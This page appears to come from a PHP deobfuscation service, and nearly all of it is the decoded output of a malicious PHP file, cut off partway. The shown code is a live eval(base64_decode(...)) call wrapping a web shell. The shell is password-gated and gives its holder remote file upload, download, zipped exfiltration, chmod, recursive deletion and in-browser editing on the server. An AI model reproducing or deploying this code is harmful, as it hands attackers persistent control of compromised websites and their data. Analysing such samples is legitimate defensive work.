Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

---------------------Decode Start-------------------------------- function __lambda_func(..

Decoded Output download

---------------------Decode Start-------------------------------- 
function __lambda_func(){eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKEVfRVJST1IpOw0KaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsNCnNldF90aW1lX2xpbWl0KDApOw0KZnVuY3Rpb24gUm9vdF9HUCgmJGFycmF5KQ0Kew0KCXdoaWxlKGxpc3QoJGtleSwkdmFyKSA9IGVhY2goJGFycmF5KSkNCgl7DQoJCWlmKChzdHJ0b3VwcGVyKCRrZXkpICE9ICRrZXkgfHwgJycuaW50dmFsKCRrZXkpID09ICIka2V5IikgJiYgJGtleSAhPSAnYXJnYycgJiYgJGtleSAhPSAnYXJndicpDQoJCXsNCgkJCWlmKGlzX3N0cmluZygkdmFyKSkgJGFycmF5WyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YXIpOw0KCQkJaWYoaXNfYXJyYXkoJHZhcikpICRhcnJheVska2V5XSA9IFJvb3RfR1AoJHZhcik7DQoJCX0NCgl9DQoJcmV0dXJuICRhcnJheTsNCn0NCiRzYWx0ID0gIm15c2hlbGwiOw0KJHBzdyA9IHRyaW0oJF9QT1NUWydzaWxpY3Bhc3MnXSk7DQokcGFzc3dvcmQgPSAiODZmZDU2MTY3ZTliNDZjOTRlZDEwNzZlMTQwN2M5ZTAiOw0KJHBhc3N0ID0gJHNhbHQuJHBzdzsNCiRwYXNzdCA9IG1kNShtZDUobWQ1KCRwYXNzdCkpKTsNCiRhc3NlPSdhc2VydCc7DQpmdW5jdGlvbiBSb290X0NTUygpDQp7DQoJcHJpbnQ8PDxFTkQNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoqe3BhZGRpbmc6MDsgbWFyZ2luOjA7fQ0KYm9keXtiYWNrZ3JvdW5kOnRocmVlZGZhY2U7Zm9udC1mYW1pbHk6IlZlcmRhbmEiLCJUYWhvbWEiLCLLzszlIixzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxM3B4O21hcmdpbi10b3A6M3B4O21hcmdpbi1ib3R0b206M3B4O3RhYmxlLWxheW91dDpmaXhlZDt3b3JkLWJyZWFrOmJyZWFrLWFsbDt9DQphe2NvbG9yOiMwMDAwMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KYTpob3ZlcntiYWNrZ3JvdW5kOiNCQkJCQkI7fQ0KdGFibGV7Y29sb3I6IzAwMDAwMDtmb250LWZhbWlseToiVmVyZGFuYSIsIlRhaG9tYSIsIsvOzOUiLHNhbnMtc2VyaWY7Zm9udC1zaXplOjEzcHg7Ym9yZGVyOjFweCBzb2xpZCAjOTk5OTk5O30NCnRke2JhY2tncm91bmQ6I0Y5RjZGNDt9DQoudG9wdGR7YmFja2dyb3VuZDp0aHJlZWRmYWNlO3dpZHRoOjMxMHB4O2JvcmRlci1jb2xvcjojRkZGRkZGICM5OTk5OTkgIzk5OTk5OSAjRkZGRkZGO2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4O30NCi5tc2dib3h7YmFja2dyb3VuZDojRkZGRkUwO2NvbG9yOiNGRjAwMDA7aGVpZ2h0OjI1cHg7Zm9udC1zaXplOjEycHg7Ym9yZGVyOjFweCBzb2xpZCAjOTk5OTk5O3RleHQtYWxpZ246Y2VudGVyO3BhZGRpbmc6M3B4O2NsZWFyOmJvdGg7fQ0KLmFjdGFsbHtiYWNrZ3JvdW5kOiNGOUY2RjQ7Zm9udC1zaXplOjE0cHg7Ym9yZGVyOjFweCBzb2xpZCAjOTk5OTk5O3BhZGRpbmc6MnB4O21hcmdpbi10b3A6M3B4O21hcmdpbi1ib3R0b206M3B4O2NsZWFyOmJvdGg7fQ0KLmZvb3RlcntwYWRkaW5nLXRvcDozcHg7dGV4dC1hbGlnbjogY2VudGVyO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OiBib2xkO2hlaWdodDoyMnB4O3dpZHRoOjk1MHB4O2NvbG9yOiMwMDAwMDA7YmFja2dyb3VuZDogIzg4ODg4ODt9DQo8L3N0eWxlPlxuDQpFTkQ7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KLy/OxLz+udzA7Q0KY2xhc3MgcGFja2Rpcg0Kew0KCXZhciAkb3V0PScnOw0KCXZhciAkZGF0YXNlYz1hcnJheSgpOw0KCXZhciAkY3RybF9kaXI9YXJyYXkoKTsNCgl2YXIgJGVvZl9jdHJsX2Rpcj0iXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOw0KCXZhciAkb2xkX29mZnNldD0wOw0KCWZ1bmN0aW9uIHBhY2tkaXIoJGFycmF5KQ0KCXsNCgkJaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQ0KCQl7DQoJCQlmb3IoJG4gPSAwOyRuIDwgY291bnQoJGFycmF5KTskbisrKQ0KCQkJew0KCQkJCSRhcnJheVskbl0gPSB1cmxkZWNvZGUoJGFycmF5WyRuXSk7DQoJCQkJJGZwID0gQGZvcGVuKCRhcnJheVskbl0sICdyJyk7DQoJCQkJJGZpbGVjb2RlID0gQGZyZWFkKCRmcCwgQGZpbGVzaXplKCRhcnJheVskbl0pKTsNCgkJCQlAZmNsb3NlKCRmcCk7DQoJCQkJJHRoaXMgLT4gZmlsZXppcCgkZmlsZWNvZGUsYmFzZW5hbWUoJGFycmF5WyRuXSkpOw0KCQkJfQ0KCQkJQGNsb3NlZGlyKCR6aGl6aGVuKTsNCgkJCSR0aGlzLT5vdXQgPSAkdGhpcy0+cGFja2ZpbGUoKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9DQoJCXJldHVybiBmYWxzZTsNCgl9DQoNCglmdW5jdGlvbiBhdCgkYXR1bml4ID0gMCkNCgl7DQoJCSR1bml4YXJyID0gKCRhdHVuaXggPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCRhdHVuaXgpOw0KCQlpZiAoJHVuaXhhcnJbJ3llYXInXSA8IDE5ODApDQoJCXsNCgkJCSR1bml4YXJyWyd5ZWFyJ10gICAgPSAxOTgwOw0KCQkJJHVuaXhhcnJbJ21vbiddICAgICA9IDE7DQoJCQkkdW5peGFyclsnbWRheSddICAgID0gMTsNCgkJCSR1bml4YXJyWydob3VycyddICAgPSAwOw0KCQkJJHVuaXhhcnJbJ21pbnV0ZXMnXSA9IDA7DQoJCQkkdW5peGFyclsnc2Vjb25kcyddID0gMDsNCgkJfQ0KCQlyZXR1cm4gKCgkdW5peGFyclsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR1bml4YXJyWydtb24nXSA8PCAyMSkgfCAoJHVuaXhhcnJbJ21kYXknXSA8PCAxNikgfCAoJHVuaXhhcnJbJ2hvdXJzJ10gPDwgMTEpIHwgKCR1bml4YXJyWydtaW51dGVzJ10gPDwgNSkgfCAoJHVuaXhhcnJbJ3NlY29uZHMnXSA+PiAxKTsNCgl9DQoJZnVuY3Rpb24gZmlsZXppcCgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkNCgl7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoJCSRkdGltZSA9IGRlY2hleCgkdGhpcy0+YXQoJHRpbWUpKTsNCgkJJGhleGR0aW1lCT0gJ1x4Jy4kZHRpbWVbNl0uJGR0aW1lWzddLidceCcuJGR0aW1lWzRdLiRkdGltZVs1XS4nXHgnLiRkdGltZVsyXS4kZHRpbWVbM10uJ1x4Jy4kZHRpbWVbMF0uJGR0aW1lWzFdOw0KCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOw0KCQkkZnIJPSAiXHg1MFx4NGJceDAzXHgwNCI7DQoJCSRmcgkuPSAiXHgxNFx4MDAiOw0KCQkkZnIJLj0gIlx4MDBceDAwIjsNCgkJJGZyCS49ICJceDA4XHgwMCI7DQoJCSRmcgkuPSAkaGV4ZHRpbWU7DQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsNCgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoJCSRmciAuPSAkbmFtZTsNCgkJJGZyIC49ICR6ZGF0YTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KCQkkbmV3X29mZnNldCA9IHN0cmxlbihpbXBsb2RlKCcnLCAkdGhpcy0+ZGF0YXNlYykpOw0KCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MTRceDAwIjsNCgkJJGNkcmVjIC49ICJceDAwXHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOw0KCQkkY2RyZWMgLj0gJGhleGR0aW1lOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7DQoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsNCgkJJGNkcmVjIC49ICRuYW1lOw0KCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCX0NCglmdW5jdGlvbiBwYWNrZmlsZSgpDQoJew0KCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOw0KCQkkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsNCgkJcmV0dXJuICRkYXRhLiRjdHJsZGlyLiR0aGlzIC0+IGVvZl9jdHJsX2Rpci5wYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkucGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpLnBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKS5wYWNrKCdWJywgc3RybGVuKCRkYXRhKSkuIlx4MDBceDAwIjsNCgl9DQp9DQpmdW5jdGlvbiBGaWxlX1N0cigkc3RyaW5nKQ0Kew0KCXJldHVybiBzdHJfcmVwbGFjZSgnLy8nLCcvJyxzdHJfcmVwbGFjZSgnXFwnLCcvJywkc3RyaW5nKSk7DQp9DQpmdW5jdGlvbiBGaWxlX1NpemUoJHNpemUpDQp7DQoJaWYoJHNpemUgPiAxMDczNzQxODI0KSAkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAnIEcnOw0KCWVsc2VpZigkc2l6ZSA+IDEwNDg1NzYpICRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7DQoJZWxzZWlmKCRzaXplID4gMTAyNCkgJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gJyBLJzsNCgllbHNlICRzaXplID0gJHNpemUgLiAnIEInOw0KCXJldHVybiAkc2l6ZTsNCn0NCmZ1bmN0aW9uIEZpbGVfTW9kZSgpDQp7DQoJJFJlYWxQYXRoID0gcmVhbHBhdGgoJy4vJyk7DQoJJFNlbGZQYXRoID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQoJJFNlbGZQYXRoID0gc3Vic3RyKCRTZWxmUGF0aCwgMCwgc3RycnBvcygkU2VsZlBhdGgsJy8nKSk7DQoJcmV0dXJuIEZpbGVfU3RyKHN1YnN0cigkUmVhbFBhdGgsIDAsIHN0cmxlbigkUmVhbFBhdGgpIC0gc3RybGVuKCRTZWxmUGF0aCkpKTsNCn0NCmZ1bmN0aW9uIEZpbGVfUmVhZCgkZmlsZW5hbWUpDQp7DQoJJGhhbmRsZSA9IEBmb3BlbigkZmlsZW5hbWUsInJiIik7DQoJJGZpbGVjb2RlID0gQGZyZWFkKCRoYW5kbGUsQGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCUBmY2xvc2UoJGhhbmRsZSk7DQoJcmV0dXJuICRmaWxlY29kZTsNCn0NCmZ1bmN0aW9uIEZpbGVfV3JpdGUoJGZpbGVuYW1lLCRmaWxlY29kZSwkZmlsZW1vZGUpDQp7DQoJJGtleSA9IHRydWU7DQoJJGhhbmRsZSA9IEBmb3BlbigkZmlsZW5hbWUsJGZpbGVtb2RlKTsNCglpZighQGZ3cml0ZSgkaGFuZGxlLCRmaWxlY29kZSkpDQoJew0KCQlAY2htb2QoJGZpbGVuYW1lLDA2NjYpOw0KCQkka2V5ID0gQGZ3cml0ZSgkaGFuZGxlLCRmaWxlY29kZSkgPyB0cnVlIDogZmFsc2U7DQoJfQ0KCUBmY2xvc2UoJGhhbmRsZSk7DQoJcmV0dXJuICRrZXk7DQp9DQpmdW5jdGlvbiBGaWxlX1VwKCRmaWxlYSwkZmlsZWIpDQp7DQoJJGtleSA9IEBjb3B5KCRmaWxlYSwkZmlsZWIpID8gdHJ1ZSA6IGZhbHNlOw0KCWlmKCEka2V5KSAka2V5ID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZWEsJGZpbGViKSA/IHRydWUgOiBmYWxzZTsNCglyZXR1cm4gJGtleTsNCn0NCmZ1bmN0aW9uIEZpbGVfRG93bigkZmlsZW5hbWUpDQp7DQoJaWYoIWZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpIHJldHVybiBmYWxzZTsNCgkkZmlsZWRvd24gPSBiYXNlbmFtZSgkZmlsZW5hbWUpOw0KCSRhcnJheSA9IGV4cGxvZGUoJy4nLCAkZmlsZWRvd24pOw0KCSRhcnJheWVuZCA9IGFycmF5X3BvcCgkYXJyYXkpOw0KCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGFycmF5ZW5kKTsNCgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVkb3duKTsNCgloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCUByZWFkZmlsZSgkZmlsZW5hbWUpOw0KCWV4aXQ7DQp9DQpmdW5jdGlvbiBGaWxlX0RlbHRyZWUoJGRlbGRpcikNCnsNCglpZigoJG15ZGlyID0gQG9wZW5kaXIoJGRlbGRpcikpID09IE5VTEwpIHJldHVybiBmYWxzZTsNCgl3aGlsZShmYWxzZSAhPT0gKCRmaWxlID0gQHJlYWRkaXIoJG15ZGlyKSkpDQoJew0KCQkkbmFtZSA9IEZpbGVfU3RyKCRkZWxkaXIuJy8nLiRmaWxlKTsNCgkJaWYoKGlzX2RpcigkbmFtZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUhPScuLicpKXtAY2htb2QoJG5hbWUsMDc3Nyk7RmlsZV9EZWx0cmVlKCRuYW1lKTt9DQoJCWlmKGlzX2ZpbGUoJG5hbWUpKXtAY2htb2QoJG5hbWUsMDc3Nyk7QHVubGluaygkbmFtZSk7fQ0KCX0NCglAY2xvc2VkaXIoJG15ZGlyKTsNCglAY2htb2QoJGRlbGRpciwwNzc3KTsNCglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gdHJ1ZSA6IGZhbHNlOw0KfQ0KZnVuY3Rpb24gRmlsZV9BY3QoJGFycmF5LCRhY3RhbGwsJGludmVyKQ0Kew0KCWlmKCgkY291bnQgPSBjb3VudCgkYXJyYXkpKSA9PSAwKSByZXR1cm4gJ8fr0aHU8c7EvP4nOw0KCWlmKCRhY3RhbGwgPT0gJ2UnKQ0KCXsNCgkJJHppcCA9IG5ldyBwYWNrZGlyOw0KCQlpZigkemlwLT5wYWNrZGlyKCRhcnJheSkpeyRzcGlkZXIgPSAkemlwLT5vdXQ7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24iKTtoZWFkZXIoIkFjY2VwdC1SYW5nZXM6IGJ5dGVzIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHNwaWRlcikpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii4kaW52ZXIuIjsiKTtlY2hvICRzcGlkZXI7ZXhpdDt9DQoJCXJldHVybiAntPKw/M7EvP7Kp7DcJzsNCgl9DQoJJGkgPSAwOw0KCXdoaWxlKCRpIDwgJGNvdW50KQ0KCXsNCgkJJGFycmF5WyRpXSA9IHVybGRlY29kZSgkYXJyYXlbJGldKTsNCgkJc3dpdGNoKCRhY3RhbGwpDQoJCXsNCgkJCWNhc2UgImEiIDogJGludmVyID0gdXJsZGVjb2RlKCRpbnZlcik7IGlmKCFpc19kaXIoJGludmVyKSkgcmV0dXJuICfCt762tO3O8yc7ICRmaWxlbmFtZSA9IGFycmF5X3BvcChleHBsb2RlKCcvJywkYXJyYXlbJGldKSk7IEBjb3B5KCRhcnJheVskaV0sRmlsZV9TdHIoJGludmVyLicvJy4kZmlsZW5hbWUpKTsgJG1zZyA9ICe4tNbGtb0nLiRpbnZlci4nxL/CvCc7IGJyZWFrOw0KCQkJY2FzZSAiYiIgOiBpZighQHVubGluaygkYXJyYXlbJGldKSl7QGNobW9kKCRmaWxlbmFtZSwwNjY2KTtAdW5saW5rKCRhcnJheVskaV0pO30gJG1zZyA9ICfJvrP9JzsgYnJlYWs7DQoJCQljYXNlICJjIiA6IGlmKCFlcmVnaSgiXlswLTddezR9JCIsJGludmVyKSkgcmV0dXJuICfK9NDU1rW07c7zJzsgJG5ld21vZGUgPSBiYXNlX2NvbnZlcnQoJGludmVyLDgsMTApOyBAY2htb2QoJGFycmF5WyRpXSwkbmV3bW9kZSk7ICRtc2cgPSAnyvTQ1NDeuMTOqicuJGludmVyOyBicmVhazsNCgkJCWNhc2UgImQiIDogQHRvdWNoKCRhcnJheVskaV0sc3RydG90aW1lKCRpbnZlcikpOyAkbXNnID0gJ9DeuMTKsbzkzqonLiRpbnZlcjsgYnJlYWs7DQoJCX0NCgkJJGkrKzsNCgl9DQoJcmV0dXJuICfL+dGhzsS8/icuJG1zZy4nzeqxzyc7DQp9DQpmdW5jdGlvbiBGaWxlX0VkaXQoJGZpbGVwYXRoLCRmaWxlbmFtZSwkZGltID0gJycpDQp7DQoJJFRISVNfRElSID0gdXJsZW5jb2RlKCRmaWxlcGF0aCk7DQoJJFRISVNfRklMRSA9IEZpbGVfU3RyKCRmaWxlcGF0aC4nLycuJGZpbGVuYW1lKTsNCglpZihmaWxlX2V4aXN0cygkVEhJU19GSUxFKSl7JEZJTEVfVElNRSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRUSElTX0ZJTEUpKTskRklMRV9DT0RFID0gaHRtbHNwZWNpYWxjaGFycyhGaWxlX1JlYWQoJFRISVNfRklMRSkpO30NCgllbHNlIHskRklMRV9USU1FID0gQGRhdGUoJ1ktbS1kIEg6aTpzJyx0aW1lKCkpOyRGSUxFX0NPREUgPSAnJzt9DQoJcHJpbnQ8PDxFTkQNCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KdmFyIE5TNCA9IChkb2N1bWVudC5sYXllcnMpOw0KdmFyIElFNCA9IChkb2N1bWVudC5hbGwpOw0KdmFyIHdpbiA9IHRoaXM7DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKXsNCgl2YXIgdHh0LCBpLCBmb3VuZDsNCglpZihzdHIgPT0gIiIpcmV0dXJuIGZhbHNlOw0KCWlmKE5TNCl7DQoJCWlmKCF3aW4uZmluZChzdHIpKSB3aGlsZSh3aW4uZmluZChzdHIsIGZhbHNlLCB0cnVlKSkgbisrOyBlbHNlIG4rKzsNCgkJaWYobiA9PSAwKSBhbGVydChzdHIgKyAiIC4uLiBOb3QtRmluZCIpDQoJfQ0KCWlmKElFNCl7DQoJCXR4dCA9IHdpbi5kb2N1bWVudC5ib2R5LmNyZWF0ZVRleHRSYW5nZSgpOw0KCQlmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCQl0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAxKTsNCgkJCXR4dC5tb3ZlRW5kKCJ0ZXh0ZWRpdCIpDQoJCX0NCgkJaWYoZm91bmQpe3R4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIC0xKTt0eHQuZmluZFRleHQoc3RyKTt0eHQuc2VsZWN0KCk7dHh0LnNjcm9sbEludG9WaWV3KCk7bisrfQ0KCQllbHNle2lmIChuID4gMCl7biA9IDA7c2VhcmNoKHN0cil9ZWxzZSBhbGVydChzdHIgKyAiLi4uIE5vdC1GaW5kIil9DQoJfQ0KCXJldHVybiBmYWxzZQ0KfQ0KZnVuY3Rpb24gQ2hlY2tEYXRlKCl7DQoJdmFyIHJlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ210aW1lJykudmFsdWU7DQoJdmFyIHJlZyA9IC9eKFxcZHsxLDR9KSgtfFxcLykoXFxkezEsMn0pXFwyKFxcZHsxLDJ9KSAoXFxkezEsMn0pOihcXGR7MSwyfSk6KFxcZHsxLDJ9KSQvOw0KCXZhciByID0gcmUubWF0Y2gocmVnKTsNCglpZihyPT1udWxsKXthbGVydCgnyNXG2rjxyr2yu9X9yLchuPHKvTp5eXl5LW1tLWRkIGhoOm1tOnNzJyk7cmV0dXJuIGZhbHNlO30NCgllbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3InKS5zdWJtaXQoKTt9DQp9DQo8L3NjcmlwdD4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+sunV0sTayN06IDxpbnB1dCBuYW1lPSJzZWFyY2hzIiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ieyRkaW19IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSKy6dXSIiBvbmNsaWNrPSJzZWFyY2goc2VhcmNocy52YWx1ZSkiPjwvZGl2Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBpZD0iZWRpdG9yIiBhY3Rpb249Ij9zPWEmcD17JFRISVNfRElSfSI+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwZm4iIHZhbHVlPSJ7JFRISVNfRklMRX0iIHN0eWxlPSJ3aWR0aDo3NTBweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48dGV4dGFyZWEgbmFtZT0icGZjIiBpZCBzdHlsZT0id2lkdGg6NzUwcHg7aGVpZ2h0OjM4MHB4OyI+eyRGSUxFX0NPREV9PC90ZXh0YXJlYT48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+zsS8/tDeuMTKsbzkIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtdGltZSIgaWQ9Im10aW1lIiB2YWx1ZT0ieyRGSUxFX1RJTUV9IiBzdHlsZT0id2lkdGg6MTUwcHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9IrGjtOYiIG9uY2xpY2s9IkNoZWNrRGF0ZSgpOyIgc3R5bGU9IndpZHRoOjgwcHg7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK3tbvYIiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249Jz9zPWEmcD17JFRISVNfRElSfSc7IiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2Pg0KPC9mb3JtPg0KRU5EOw0KfQ0KZnVuY3Rpb24gRmlsZV9Tb3VwKCRwKQ0Kew0KCSRUSElTX0RJUiA9IHVybGVuY29kZSgkcCk7DQoJJFVQX1NJWkUgPSBnZXRfY2ZnX3ZhcigndXBsb2FkX21heF9maWxlc2l6ZScpOw0KCSRNU0dfQk9YID0gJ7WluPa4vbz+1MrQ7bTz0KE6Jy4kVVBfU0laRS4nLCC4xMP7uPHKvShuZXcucGhwKSzI586qv9Us1PKxo7PW1K3OxLz+w/suJzsNCglpZighZW1wdHkoJF9QT1NUWyd1cGRpciddKSkNCgl7DQoJCWlmKGNvdW50KCRfRklMRVNbJ3NvdXAnXSkgPj0gMSkNCgkJew0KCQkJJGkgPSAwOw0KCQkJZm9yZWFjaCAoJF9GSUxFU1snc291cCddWydlcnJvciddIGFzICRrZXkgPT4gJGVycm9yKQ0KCQkJew0KCQkJCWlmICgkZXJyb3IgPT0gVVBMT0FEX0VSUl9PSykNCgkJCQl7DQoJCQkJCSRzb3VwdG1wID0gJF9GSUxFU1snc291cCddWyd0bXBfbmFtZSddWyRrZXldOw0KCQkJCQlpZighZW1wdHkoJF9QT1NUWydyZXVwJ11bJGldKSkkc291cG5hbWUgPSAkX1BPU1RbJ3JldXAnXVskaV07IGVsc2UgJHNvdXBuYW1lID0gJF9GSUxFU1snc291cCddWyduYW1lJ11bJGtleV07DQoJCQkJCSRNU0dbJGldID0gRmlsZV9VcCgkc291cHRtcCxGaWxlX1N0cigkX1BPU1RbJ3VwZGlyJ10uJy8nLiRzb3VwbmFtZSkpID8gJHNvdXBuYW1lLifJz7Srs8m5picgOiAkc291cG5hbWUuJ8nPtKvKp7DcJzsNCgkJCQl9DQoJCQkJJGkrKzsNCgkJCX0NCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRNU0dfQk9YID0gJ8fr0aHU8c7EvP4nOw0KCQl9DQoJfQ0KCXByaW50PDw8RU5EDQo8ZGl2IGNsYXNzPSJtc2dib3giPnskTVNHX0JPWH08L2Rpdj4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgaWQ9ImVkaXRvciIgYWN0aW9uPSI/cz1xJnA9eyRUSElTX0RJUn0iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KPGRpdiBjbGFzcz0iYWN0YWxsIj7Jz7Srtb3Ev8K8OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXBkaXIiIHZhbHVlPSJ7JHB9IiBzdHlsZT0id2lkdGg6NTMxcHg7aGVpZ2h0OjIycHg7Ij48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+uL28/jEgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InNvdXBbXSIgc3R5bGU9IndpZHRoOjMwMHB4O2hlaWdodDoyMnB4OyI+ILjEw/sgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJldXBbXSIgc3R5bGU9IndpZHRoOjEzMHB4O2hlaWdodDoyMnB4OyI+ICRNU0dbMF0gPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPri9vP4yIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJzb3VwW10iIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPiC4xMP7IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZXVwW10iIHN0eWxlPSJ3aWR0aDoxMzBweDtoZWlnaHQ6MjJweDsiPiAkTVNHWzFdIDwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj64vbz+MyA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ic291cFtdIiBzdHlsZT0id2lkdGg6MzAwcHg7aGVpZ2h0OjIycHg7Ij4guMTD+yA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmV1cFtdIiBzdHlsZT0id2lkdGg6MTMwcHg7aGVpZ2h0OjIycHg7Ij4gJE1TR1syXSA8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+uL28/jQgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InNvdXBbXSIgc3R5bGU9IndpZHRoOjMwMHB4O2hlaWdodDoy